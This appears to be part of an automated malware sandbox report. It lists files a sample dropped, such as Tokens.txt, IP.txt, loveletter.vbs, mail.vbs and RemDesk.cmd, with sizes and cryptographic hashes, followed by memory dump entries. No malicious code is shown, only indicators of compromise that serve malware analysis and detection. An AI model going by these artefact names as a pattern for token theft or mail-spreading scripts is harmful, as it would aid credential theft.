2ed86e80ea9b4b95b3e52ed77ea6c401

SHA1
5032e67b7c84362374b7d52507ab83ae03d7ebff

SHA256
6ad08fe301caae18941487412e96ceb0b561de4482da25ea4bb8eeb6c1a40983

SHA512
64fa72aea094f6aa03d9f6dcee3f72ce156a5a7802c39c59af5fc637e72303d46740f0c022fbd4c9f1ec62300ee33cc0af2ac0622729ae67717f580e007e6e71

Download Submit
C:\Users\Admin\IP.txt

Filesize
13B

MD5
d3225435e2148071bf09023b569c4627

SHA1
b317b6374fd8e03816baa68dafc463de6cc585ff

SHA256
c4368d96ada6c17e802f4f5877bc0cb1ce445aaf4e8117eac76566415c92dbc3

SHA512
dbaab1f49fd9cbbafdbeb14bee05244b40c74b0f63e3881afac686f4c62e9f92bb527d28588039a6bf06e9a7b0a83e3c77d76c67f74c9fb19089c7d678b48b36

Download Submit
C:\Users\Admin\RemDesk.cmd

Filesize
164B

MD5
5b8937d9e973e13957dbc1ad6be8c6d7

SHA1
def4502e3afe249dd26d99874a1c18b134fdd73e

SHA256
f487e6ff3ba07ac8b0904bb21c37e1038edb34b836b9950f45394af9aeeaee14

SHA512
ded5cbdc7fb0ec6be8c56cfcd52af87e6fafa5b9bd5c248220e6de6e8a46fcce42677f88c06f17c87a09db611515a94dafc3c41af55964aa090b79051d15a8e3

Download Submit
C:\Users\Admin\Tokens.txt

Filesize
22B

MD5
3d74b4a3f6053a5a252f4faee7fb157e

SHA1
576c1a2892dad89c3b6aba698ee67258be827eaf

SHA256
445f09c32e44ec144320d929de814ceda449da7efa062a19c1cc78cde29fb139

SHA512
dab16b5c564af14fb632f086b99530061d86f54cffed6bfa1b9ae59f97b77beec8ae89c132e2a217d555df512c75bb236921014ac0ff8053c88af16a96db7529

Download Submit
C:\Users\Admin\apps.txt

Filesize
8KB

MD5
c529ab1b7ba11a11afdaaa7929f347a1

SHA1
b8ea95e6aa77123d414d42a7780df95394f437b6

SHA256
7e21c2a31b3ea36b3273b5dcd9e80954342343af5d6ba227c05bd8034bd272f0

SHA512
7209106ff424fe7beab09022c903fd8c55d3a34b3efe47c94118bf2854c142c7aa6f835d03f0d571efac01b2c7994f7ec42170345f681e98036f125246d8e695

Download Submit
C:\Users\Admin\loveletter.vbs

Filesize
495B

MD5
900ead69492d80e48738921eca28b14f

SHA1
6b51607c54f8e734a7ea47091859c3e8dce6365c

SHA256
c1a49c4801603e877e673620c289d709c5c2b368dae72e941f9649889faefab3

SHA512
8fbb63ea9e5e2bca05bdbcf373056e58aaae2dfd180dfca2fdfdc2b706bb3923798f9878eddf7acef255676eda65f94cc9a827e8abcc9d4da6613f33d74861f2

Download Submit
C:\Users\Admin\mail.vbs

Filesize
488B

MD5
88ef4bc3f48eeb97aedadff8f3840980

SHA1
48e8167bef2562d902885a075f6190d269fd3d35

SHA256
b62346a7425cfec83d3f05fc4ff268510a16493479f09e7113169aaad5abeefa

SHA512
523127a83202c86445825e1d8ab84a268e4f9b40a7c76b91b4947fb29de1c0819ba3e856bc1cbd40d6b0d10c04ca356a5e0dc975708a3d765ab425ab1a7d1024

Download Submit
C:\Users\Admin\userdata.txt

Filesize
17KB

MD5
c4445461093f332b1e61f2b91c9857bd

SHA1
16fa5fc3aece891d2cfe97e93173d04220ce6939

SHA256
c2a7d7d398c03330b87c16a2836b15e351a3b94c06c0c55770f6949bc7a30f7f

SHA512
ae6b3940b84e10f739744b3d03f4d1922f5f11504a45629061d930beb504cd752828befe6029b0014e25b0f07b0832af7ba6c2b516a95e952d59a6004734f33d

Download Submit
C:\Users\Admin\ycynlog.cmd

Filesize
51KB

MD5
4af79fa246608df60c78e02c1670f084

SHA1
0441d4e69225c12656c3855e24a2702d8737a227

SHA256
298c325bbc80af8b3ac77365dd7cc3f97000a8377f36937d8563ab743a92b21c

SHA512
5cc0cf9575c5688a8c1aaa966da1a2f49737dc6fe24f98437472c42f1ab48cd8277f9724f7bc0361dc57a4e4d31e2fe9cdbf417b75a6eb9a81fd61bcaa65ff8f

Download Submit
memory/208-209-0x00007FF8B6B20000-0x00007FF8B75E1000-memory.dmp

Filesize
10.8MB

Download
memory/1788-212-0x00007FF8B6B20000-0x00007FF8B75E1000-memory.dmp

Filesize
10.8MB

Download
memory/2856-147-0x00007FF8B73B0000-0x00007FF8B7E71000-memory.dmp

Filesize
10.8MB

Download
memory/2856-141-0x0000021E4CA40000-0x0000021E4CA62000-memory.dmp

Filesize
136KB

Download
memory/3304-232-0x00007FF8B4B80000-0x00007FF8B5641000-memory.dmp

Filesize
10.8MB

Download
memory/3396-175-0x00007FF8B73B0000-0x00007FF8B7E71000-memory.dmp

Filesize
10.8MB

Download
memory/3536-211-0x00007FF8B6B20000-0x00007FF8B75E1000-memory.dmp

Filesize
10.8MB

Download
memory/3744-227-0x00007FF8B5FD0000-0x00007FF8B6A91000-memory.dmp

Filesize
10.8MB

Download
memory/3752-224-0x00000000007C0000-0x00000000007C8000-memory.dmp

Filesize
32KB

Download
memory/4368-213-0x00007FF8B6B20000-0x00007FF8B75E1000-memory.dmp

Filesize
10.8MB

Download
memory/4476-250-0x00007FF8B4CC0000-0x00007FF8B5781000-memory.dmp

Filesize
10.8MB

Download
memory/4688-206-0x00007FF8B6B20000-0x00007FF8B75E1000-memory.dmp

Filesize
10.8MB

Download
memory/4816-221-0x00007FF8B5FD0000-0x00007FF8B6A91000-memory.dmp

Filesize
10.8MB

Download
memory/5300-246-0x00007FF8B4C10000-0x00007FF8B56D1000-memory.dmp

Filesize
10.8MB

Download
memory/5460-244-0x00007FF8B4C10000-0x00007FF8B56D1000-memory.dmp

Filesize
10.8MB

Download
memory/5956-237-0x00007FF8B4C10000-0x00007FF8B56D1000-memory.dmp

Filesize
10.8MB

Download
memory/6524-242-0x00007FF8B4C10000-0x00007FF8B56D1000-memory.dmp

Filesize
10.8MB

Download
memory/6760-235-0x00007FF8B4C10000-0x00007FF8B56D1000-memory.dmp

Filesize
10.8MB

Download
memory/6780-248-0x00007FF8B4B40000-0x00007FF8B5601000-memory.dmp

Filesize
10.8MB

Download